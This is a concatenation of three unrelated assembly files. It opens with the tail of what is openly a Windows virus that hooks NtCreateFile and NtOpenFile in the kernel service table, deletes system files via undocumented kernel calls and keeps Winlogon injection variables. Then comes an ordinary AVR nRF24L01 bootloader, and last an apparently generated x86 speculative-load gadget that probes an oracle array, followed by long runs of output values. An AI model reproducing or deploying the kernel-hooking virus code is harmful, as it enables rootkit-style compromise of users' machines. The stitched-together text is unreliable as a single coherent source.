;system will go slowly...We cant to be using all time GezApi
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetApisRing0:
pushfd
pushad
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwUnmapViewOfSectionCRC,ZUVOSNameLen
mov [ebp + ZwUnmapViewOfSectionz],eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwCloseCRC,ZCNameLen
mov [ebp + ZwClosez],eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwMapViewOfSectionCRC,ZMVOSNameLen
mov [ebp + ZwMapViewOfSectionz],eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwOpenFileCRC,ZOFNameLen
mov [ebp + ZwOpenFilez],eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwCreateSectionCRC,ZCSNameLen
mov [ebp + ZwCreateSectionz],eax
popad
popfd
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;DeleteWin32ksy will delete win32k.sy file if still not deleted
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DeleteWin32ksy:
pushfd
pushad
;From Ring3 part we have in Buffer system32 path in ansi string. We will use StringRing0
;for creating a unicode string with win32k.sy name.
lea edi,[ebp + StringRing0]
lea esi,[ebp + StartUnicode]
mov ecx,8
xor eax,eax
CopyStartUnicode:
movsb
loop CopyStartUnicode
lea esi,[ebp + Buffer]
CalcLenString
push ecx
xor eax,eax
CopyPathSystem32:
movsb
stosb
loop CopyPathSystem32
mov al,'\'
stosb
xor eax,eax
stosb
lea esi,[ebp + win32ksy]
CalcLenString
xor eax,eax
CopyFileNameWin32ksy:
movsb
stosb
loop CopyFileNameWin32ksy
;we have in StringRing0 'pathsystem32\win32k.sy'
pop ecx ;len of path of system32 in ansi
shl ecx,1 ;len in unicode
add ecx,28 ;len of that path + len of \??\ and win32k.sy name in ecx
mov word ptr [ebp + FileNameRing0.us_Length],cx
mov word ptr [ebp + FileNameRing0.us_MaximumLength],cx
lea eax,[ebp + StringRing0]
mov [ebp + FileNameRing0.us_Buffer],eax
;usually deletion of files is done with a specific call to NtSetInformationFile. With this
;call the file is deleted when last handle to it is closed. However ill use other
;undocumented api,ZwDeleteFile. With ZwDeleteFile the file is deleted without waiting
;last handle was closed.
lea eax,[ebp + FileNameRing0]
mov dword ptr [ebp + FileAttributesRing0.oa_objectname],eax
mov dword ptr [ebp + FileAttributesRing0.oa_length] ,24
mov dword ptr [ebp + FileAttributesRing0.oa_rootdir],0
mov dword ptr [ebp + FileAttributesRing0.oa_attribz],40h
mov dword ptr [ebp + FileAttributesRing0.oa_secdesc],0h
mov dword ptr [ebp + FileAttributesRing0.oa_secqos] ,0h
lea eax,dword ptr [ebp + FileAttributesRing0]
push eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwDeleteFileCRC,ZDFNameLen
call eax ;file must be deleted
popad
popfd
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;UnhookWhile and RehookAgain put off and put on the hook
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;NtCreateFileAddr
;NtOpenFileAddr
;NtCreateFileEntryAddr
;NtOpenFileEntryAddr
;;;;;;;;;;;;;;;;;;;;;;
UnhookWhile:
;;;;;;;;;;;;
pushad
mov eax,[ebp + NtCreateFileAddr]
mov ebx,[ebp + NtCreateFileEntryAddr]
mov [ebx],eax
mov eax,[ebp + NtOpenFileAddr]
mov ebx,[ebp + NtOpenFileEntryAddr]
mov [ebx],eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;
RehookAgain:
;;;;;;;;;;;;
pushad
lea eax,[ebp + NtCreateFileHookRutine]
mov ebx,[ebp + NtCreateFileEntryAddr]
mov [ebx],eax
lea eax,[ebp + NtOpenFileHookRutine]
mov ebx,[ebp + NtOpenFileEntryAddr]
mov [ebx],eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Some Variables
Needed dd 0
NtKernel dd 0
NtAdvapi dd 0
NtPsapi dd 0
NtRasapi dd 0
Ntdll dd 0
NtImagehlp dd 0
advapi db 'advapi32.dll',0
psapi db 'psapi.dll',0
rasapi db 'rasapi32.dll',0
imagehlp db 'imagehlp.dll',0
win32ksys db 'win32k.sys',0
win32ksy db 'win32k.sy',0
win32kfuck db 'win32k.fuck',0
StartUnicode db '\',0,'?',0,'?',0,'\',0
WinlogonHand dd 0
WinlogonID dd 0
WinlogonModuleHand dd 0
WinlogonModuleName db 50 dup(?)
WinlogonVirusBase dd 0
tAdjustTokenPrivileges dd 0
tCloseHandle dd 0
tLookupPrivilegeValueA dd 0
tOpenProcessToken dd 0
tGetCurrentProcess dd 0
CurDir db 256 dup(0)
_WIN32_FIND_DATA WIN32_FIND_DATA ?
FileHandle dd 0
MappingHandle dd 0
ViewHandle dd 0
SearchHand dd 0
Buffer db 256 dup (?)
aux dd 0
EntryPointWin32ksys dd 0
EntryPoint dd 0
KeServiceDescriptorTable dd 0
Ntoskrnl dd 0
SSDT dd 0
NtCreateFileAddr dd 0
NtOpenFileAddr dd 0
NtCreateFileEntryAddr dd 0
NtOpenFileEntryAddr dd 0
AttributesFileRing0 dd ?
CreateDispositionFileRing0 dd ?
CreateOptionsFileRing0 dd ?
FileNameRing0 unicode_string ?
StringRing0 dw 256 dup(0)
RootDirectoryRing0 dd 0
FileAttributesRing0 objects_attributes ?
io_statusRing0 pio_status ?
FileHandRing0 dd ?
SectionHandRing0 dd ?
SectionOffsetRing0 dq 0
SectionBaseAddressRing0 dd 0
SectionViewSizeRing0 dd 0
ZwMapViewOfSectionz dd 0
ZwCreateSectionz dd 0
ZwOpenFilez dd 0
ZwUnmapViewOfSectionz dd 0
ZwClosez dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
evirus:
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
end start
end
|
; ===============================================================================
;
; Bootloader for nRF24L01
;
; Copyright (C) 2017 Creative Sphere Limited
;
; Copyright (C) 2017 Creative Sphere Limited
; All rights reserved. This program and the accompanying materials
; are made available under the terms of the Apache License v2.0
; which accompanies this distribution, and is available at
; https://www.apache.org/licenses/LICENSE-2.0
;
; Contributors:
; Creative Sphere - initial API and implementation
;
; @author Daniel Sendula
;
;
; Bootloader implemeting subset of stk500 protocol
; over nRF24L01
;
; Hardware:
; ATmeta328p (or compatibile)
; 8bit timer for regular interrupts
;
; Pins: (logical)
; PB5 CLK
; PB4 MISO (DI)
; PB3 MOSI (DO)
; PB2 CS (SS)
; PB1 CE
;
; Fuses:
; BOOTRST = 0 (programmed)
; BootLoader Flash Section 0x800:
; BOOTSZ1 = 0 (programmed)
; BOOTSZ0 = 0 (programmed)
;
; BLB02 = 1 unprogrammed
; BLB01 = 1 unprogrammed
; BLB12 = 1 unprogrammed
; BLB11 = 1 unprogrammed
; SELFPRGEN = 1 unprogrammed
;
;
; Algorithm:
;
.include "m328pdef.inc"
.equ EEPROM_PAGE_SIZE = 4
.equ FLASH_PAGE_SIZE = 128
.equ ProcessorSpeed = 8000000
.equ UART_Baud_Rate = 19200 ; 57600
;.def DEBUG 1
.def A = r16
.def B = r17
.def C = r18
.def D = r19
.def recLen = r20
.def sendLen = r21
.def destination = r22
.def lenH = r25
.def lenL = r24
.def addrL = r4
.def addrH = r5
.def tempL = r6
.def tempH = r7
; .def recBufPtr = X
; .def sendBufPtr = Y
.equ SPI_DI = PB4 // Port B bit 6 (pin7): data in (data from MMC)
.equ SPI_DO = PB3 // Port B bit 5 (pin6): data out (data to MMC)
.equ SPI_CLK = PB5 // Port B bit 7 (pin8): clock
.equ SPI_CS = PB2 // Port B bit 4 (pin5: chip select for MMC
.equ SPI_CE = PB1 // Port B bit 4 (pin5: chip select for MMC
.equ INPUT_PIN = PB0
.equ BOOT_LOADER_ADDRESS = 0x3800
.equ DATA_SIZE = 16
.equ PACKET_SIZE = DATA_SIZE + 1
.equ PAGE_SIZE = 128
.equ RETRY_COUNT = 100
.equ CHANNEL = 1
.equ HW_VER = 0x0f
.equ SW_MAJOR = 0x04
.equ SW_MINOR = 0x0c
.dseg
SendBuffer: .byte PACKET_SIZE
ReceiveBuffer: .byte PACKET_SIZE
MemoryBuffer: .byte PAGE_SIZE
Buffer: .byte 20
.cseg
.org BOOT_LOADER_ADDRESS
jmp RESET
jmp RESET_NO_SKIP
;.org BOOT_LOADER_ADDRESS + INT_VECTORS_SIZE
.include "macros.inc"
.include "ExtensionMacros.inc"
.include "nRF24L01.inc"
.include "USART0.inc"
.macro resetSendBuf
ldiw Y, SendBuffer + 1
ldi sendLen, 0
.endmacro
.macro readByteA
ld A, X+
dec recLen
.endmacro
.macro readByteR
ld @0, X+
dec recLen
.endmacro
.macro writeByteR
st Y+, @0
inc sendLen
.endmacro
.macro writeByteI
ldi A, @0
st Y+, A
inc sendLen
.endmacro
.macro moreBytes
tst recLen
.endmacro
.macro moreSendSpace
cpi sendLen, 16
.endmacro
RESET_NO_SKIP:
cli
ldi A, high(RAMEND) ; Main program start
out SPH, A ; Set Stack Pointer to top of RAM
ldi A, low(RAMEND)
out SPL, A
rjmp Continue_with_bootloader
RESET:
cli
ldi A, high(RAMEND) ; Main program start
out SPH, A ; Set Stack Pointer to top of RAM
ldi A, low(RAMEND)
out SPL, A
cbi DDRB, INPUT_PIN
sbi PORTB, INPUT_PIN
nop
nop
sbic PINB, INPUT_PIN
rjmp DoReset
Continue_with_bootloader:
nop
call USART_Init
call SPI_Init
call RF24_Init
delay10us
resetSendBuf
Loop:
switchToRX
startListening
poolData ; TODO add timeout!!!
rcall ReceiveData
stopListening
readByteA
cpi A, 0x75
brne _not_signature
rjmp Signature
_not_signature:
cpi A, 0x31
brne _not_read_id
rjmp ReadId
_not_read_id:
cpi A, 0x41
brne _not_read_version
rjmp Version
_not_read_version:
cpi A, 0x51
brne _not_reset
rjmp DoResetCommand ; not coming back!
_not_reset:
cpi A, 0x55
brne _not_address
rjmp ReceiveAddress
_not_address:
cpi A, 0x64
brne _not_write
rjmp WriteMemory
_not_write:
cpi A, 0x74
brne _not_read
rjmp ReadMemory
_not_read:
rcall SendACK
rjmp Loop
ReadId:
switchToTX
ldi D, RETRY_COUNT
_ReadId_Loop:
writeFlushTX
clearInterrupts
ldi A, PACKET_SIZE
ldipw Z, ID_PACKET
call RF24_Write_Payload_P
andi A, (1<<TX_DS)
brne _ReadId_OK
#ifdef DEBUG
prints Err
#endif
mov A, D
#ifdef DEBUG
printA
prints CRLF
#endif
dec D
brne _ReadId_Loop
#ifdef DEBUG
prints Failed
#endif
rjmp Loop
_ReadId_OK:
#ifdef DEBUG
prints SentReadId
#endif
rjmp Loop
Signature:
writeByteI 0x14
clr ZH
clr ZL
ldi A, 0x21; (1<<SIGRD) | (1<<SPMEM)
out SPMCSR, A
lpm A, Z
writeByteR A
subi ZL, -2
ldi A, 0x21; (1<<SIGRD) | (1<<SPMEM)
out SPMCSR, A
lpm A, Z
writeByteR A
subi ZL, -2
ldi A, 0x21; (1<<SIGRD) | (1<<SPMEM)
out SPMCSR, A
lpm A, Z
writeByteR A
writeByteI 0x10
rcall SendData
rjmp Loop
Version:
writeByteI 0x14
readByteA
cpi A, 0x80
brne _not_hw_ver
writeByteI HW_VER
rjmp _version_end
_not_hw_ver:
cpi A, 0x81
brne _not_sw_maj
writeByteI SW_MAJOR
rjmp _version_end
_not_sw_maj:
cpi A, 0x82
brne _not_sw_min
writeByteI SW_MINOR
rjmp _version_end
_not_sw_min:
cpi A, 0xC7
brne _not_flash_page_size
writeByteI low(FLASH_PAGE_SIZE)
writeByteI high(FLASH_PAGE_SIZE)
rjmp _version_end
_not_flash_page_size:
cpi A, 0x52
brne _not_eeprom_page_size
writeByteI EEPROM_PAGE_SIZE
rjmp _version_end
_not_eeprom_page_size:
cpi A, 0x98
brne _not_something_else
writeByteI 0x03
rjmp _version_end
_not_something_else:
writeByteI 0x0
_version_end:
writeByteI 0x10
rcall SendData
rjmp Loop
DoResetCommand:
rcall SendACK
; ldi A, (1<<WDE)
; sts WDTCSR, A
DoReset:
clr A
out DDRB, A
jmp 0
ReceiveAddress:
readByteR addrL
readByteR addrH
rcall SendACK
rjmp Loop
ReadMemory:
readByteR lenH
readByteR lenL
readByteR destination ; Destination 'E' or 'F'
resetSendBuf
writeByteI 0x14
mov ZL, addrL
mov ZH, addrH
_ReadMemory_loop1:
tst lenH
brne _ReadMemory_loop1_ok
tst lenL
breq _ReadMemory_loop1_end
_ReadMemory_loop1_ok:
_ReadMemory_loop2:
moreSendSpace
breq _ReadMemory_loop2_end
tst lenH
brne _ReadMemory_loop2_ok
tst lenL
breq _ReadMemory_loop2_end
_ReadMemory_loop2_ok:
cpi destination, 'E'
breq _ReadEEPROM
; TODO - read byte first!
lpm A, Z+
_ReadMemory_cont:
writeByteR A
ldi A, 1
sub lenL, A
clr A
sbc lenH, A
rjmp _ReadMemory_loop2
_ReadEEPROM:
sbic EECR, EEPE
rjmp _ReadEEPROM
out EEARH, ZH
out EEARL, ZL
sbi EECR, EERE
in A, EEDR
push A
ldi A, 1
add ZL, A
clr A
adc ZH, A
pop A
rjmp _ReadMemory_cont
_ReadMemory_loop2_end:
mov addrL, Zl
mov addrH, ZH
rcall SendData
switchToRX
startListening
poolData
rcall ReceiveData
stopListening
resetSendBuf
mov ZL, addrL
mov ZH, addrH
rjmp _ReadMemory_loop1
_ReadMemory_loop1_end:
writeByteI 0x10
rcall SendData
rjmp Loop
WriteMemory:
readByteR lenH
readByteR lenL
readByteR destination ; Destination 'E' or 'F'
ldiw Y, MemoryBuffer
_WriteMemory_loop1:
tst lenH
brne _WriteMemory_loop1_ok
tst lenL
breq _WriteMemory_loop1_end
_WriteMemory_loop1_ok:
_WriteMemory_loop2:
moreBytes
breq _WriteMemory_loop2_end
tst lenH
brne _WriteMemory_loop2_ok
tst lenL
breq _WriteMemory_loop2_end
_WriteMemory_loop2_ok:
readByteA
cpi destination, 'E'
breq _WriteEEPROM
st Y+, A
dec lenL ; memory batch will always be less than 256
rjmp _WriteMemory_loop2
_WriteEEPROM:
sbic EECR, EEPE
rjmp _WriteEEPROM
out EEARH, addrH
out EEARL, addrL
out EEDR, A
sbi EECR, EEMPE
sbi EECR, EEPE
ldi A, 1
add addrL, A
clr A
adc addrH, A
; dec lenL
; sbc lenH, A
ldi A, 1
sub lenL, A
clr A
sbc lenH, A
rjmp _WriteMemory_loop2
_WriteMemory_loop2_end:
tst lenH
brne _WriteMemory_send_continuation
tst lenL
breq _WriteMemory_loop1
_WriteMemory_send_continuation:
mov tempL, YL
mov tempH, YH
resetSendBuf
rcall SendData
switchToRX
startListening
poolData
rcall ReceiveData
stopListening
mov YL, tempL
mov YH, tempH
rjmp _WriteMemory_loop1
_WriteMemory_loop1_end:
; TODO add page size to addrL:H
cpi destination, 'E'
breq _WriteMemory_loop1_end_eeprom
ldi A, 128
ldiw Y, MemoryBuffer
mov ZL, addrL
mov ZH, addrH
call Write_page
ldi A, low(PAGE_SIZE)
add addrL, A
ldi A, high(PAGE_SIZE)
adc addrH, A
_WriteMemory_loop1_end_eeprom:
rcall SendACK
rjmp Loop
ReceiveData:
ldi A, PACKET_SIZE
ldiw Z, ReceiveBuffer
rcall RF24_Read_Payload
ldiw X, ReceiveBuffer
ld recLen, X+
ret
SendData:
#ifdef DEBUG
prints SendingData
#endif
ldi D, RETRY_COUNT
_SendData_Loop:
ldiw Z, SendBuffer
st Z+, sendLen
ldiw Z, SendBuffer
switchToTX
writeFlushTX
clearInterrupts
ldi A, PACKET_SIZE
call RF24_Write_Payload_M
andi A, (1<<TX_DS)
brne _SendData_OK
#ifdef DEBUG
prints Err
#endif
mov A, D
#ifdef DEBUG
printA
prints CRLF
#endif
dec D
brne _SendData_Loop
#ifdef DEBUG
prints Failed
#endif
writeRegI STATUS, (1<<TX_DS) | (1<<MAX_RT)
resetSendBuf
ret
_SendData_OK:
#ifdef DEBUG
prints SentData
#endif
writeRegI STATUS, (1<<TX_DS) | (1<<MAX_RT)
resetSendBuf
ret
SendACK:
#ifdef DEBUG
prints SendingACK
#endif
ldi D, RETRY_COUNT
_SendACK_Loop:
switchToTX
writeFlushTX
clearInterrupts
ldi A, PACKET_SIZE
ldipw Z, ACK_PACKET
call RF24_Write_Payload_P
andi A, (1<<TX_DS)
brne _SendACK_OK
#ifdef DEBUG
prints Err
#endif
mov A, D
#ifdef DEBUG
printA
prints CRLF
#endif
dec D
brne _SendACK_Loop
#ifdef DEBUG
prints Failed
#endif
ret
_SendACK_OK:
#ifdef DEBUG
prints SentAck
#endif
ret
.include "flash.inc"
ACK_PACKET: .db 2, 0x14, 0x10
ID_PACKET: .db 9, 0x14, "nRF ISP", 0x10
Pipe_Address: .db "BOOTL"
SendingACK: .db "SendingACK", 13, 10, 0
SentACK: .db "SentACK", 13, 10, 0
SendingData: .db "SendingData", 13, 10, 0
SentData: .db "SentData", 13, 10, 0
SentReadId: .db "SentReadId", 13, 10, 0
Err: .db "Err:", 0
Failed: .db "Failed", 13, 10, 0
CRLF: .db 13, 10, 0 |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0xb590, %rsi
lea addresses_D_ht+0xcdb4, %rdi
sub %rdx, %rdx
mov $113, %rcx
rep movsl
sub %rax, %rax
lea addresses_A_ht+0x15d94, %rax
clflush (%rax)
nop
nop
cmp $17769, %rbx
movw $0x6162, (%rax)
nop
cmp %rcx, %rcx
lea addresses_D_ht+0x1a254, %rsi
lea addresses_UC_ht+0x894, %rdi
clflush (%rsi)
nop
nop
nop
add %rbp, %rbp
mov $75, %rcx
rep movsb
nop
nop
nop
cmp %rdi, %rdi
lea addresses_D_ht+0x14914, %rsi
nop
nop
nop
nop
and $34969, %rcx
mov $0x6162636465666768, %rbp
movq %rbp, %xmm1
movups %xmm1, (%rsi)
nop
nop
dec %rbx
lea addresses_D_ht+0x82f4, %rsi
lea addresses_WT_ht+0x146f4, %rdi
nop
nop
nop
nop
nop
add %r12, %r12
mov $66, %rcx
rep movsb
nop
nop
nop
nop
sub $63068, %rcx
lea addresses_normal_ht+0x16d94, %rbx
nop
nop
add $61836, %r12
mov $0x6162636465666768, %rax
movq %rax, %xmm6
vmovups %ymm6, (%rbx)
add %rax, %rax
lea addresses_UC_ht+0xb914, %rsi
nop
nop
xor %rbx, %rbx
mov $0x6162636465666768, %rbp
movq %rbp, %xmm3
movups %xmm3, (%rsi)
nop
and $63152, %rdx
lea addresses_normal_ht+0x17494, %rax
nop
nop
nop
nop
nop
xor $55729, %rbx
vmovups (%rax), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r12
nop
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_D_ht+0x1df14, %rsi
nop
nop
add %rcx, %rcx
mov (%rsi), %bp
nop
nop
nop
nop
inc %rcx
lea addresses_UC_ht+0x9904, %rax
nop
nop
nop
nop
nop
inc %rdi
movb $0x61, (%rax)
nop
nop
inc %rbx
lea addresses_D_ht+0x1e394, %rax
nop
nop
nop
xor %rbx, %rbx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
and $0xffffffffffffffc0, %rax
vmovaps %ymm6, (%rax)
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_WT_ht+0xd294, %rsi
lea addresses_normal_ht+0x10094, %rdi
nop
nop
nop
and %rdx, %rdx
mov $47, %rcx
rep movsq
add $41154, %rbp
lea addresses_WC_ht+0x2914, %rbx
nop
add $16853, %rbp
movb $0x61, (%rbx)
nop
nop
nop
nop
nop
xor $6406, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r9
push %rax
push %rcx
push %rdx
push %rsi
// Store
mov $0xe34, %rcx
clflush (%rcx)
add $41819, %r9
mov $0x5152535455565758, %r11
movq %r11, %xmm1
movups %xmm1, (%rcx)
nop
nop
inc %r13
// Store
lea addresses_UC+0x1c5d4, %rax
and $5430, %rdx
movw $0x5152, (%rax)
nop
and %r9, %r9
// Store
lea addresses_US+0x19d94, %rcx
xor %rax, %rax
mov $0x5152535455565758, %rdx
movq %rdx, %xmm1
movups %xmm1, (%rcx)
inc %rsi
// Store
lea addresses_WT+0xdad4, %rcx
clflush (%rcx)
nop
add %rdx, %rdx
movw $0x5152, (%rcx)
inc %r11
// Load
lea addresses_A+0x10594, %rcx
nop
nop
nop
and %rsi, %rsi
movb (%rcx), %r9b
cmp %rdx, %rdx
// Load
lea addresses_A+0x1d194, %r11
nop
nop
nop
nop
and %rcx, %rcx
movb (%r11), %r9b
nop
dec %rcx
// Faulty Load
lea addresses_US+0x19d94, %rsi
nop
nop
nop
nop
nop
cmp $37078, %r9
movb (%rsi), %cl
lea oracles, %rdx
and $0xff, %rcx
shlq $12, %rcx
mov (%rdx,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_US', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_P', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_US', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 6}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 9}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_US', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': True, 'AVXalign': True, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': True, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 7}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 4}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 7, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 4}, 'OP': 'STOR'}
{'58': 21827, '00': 2}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 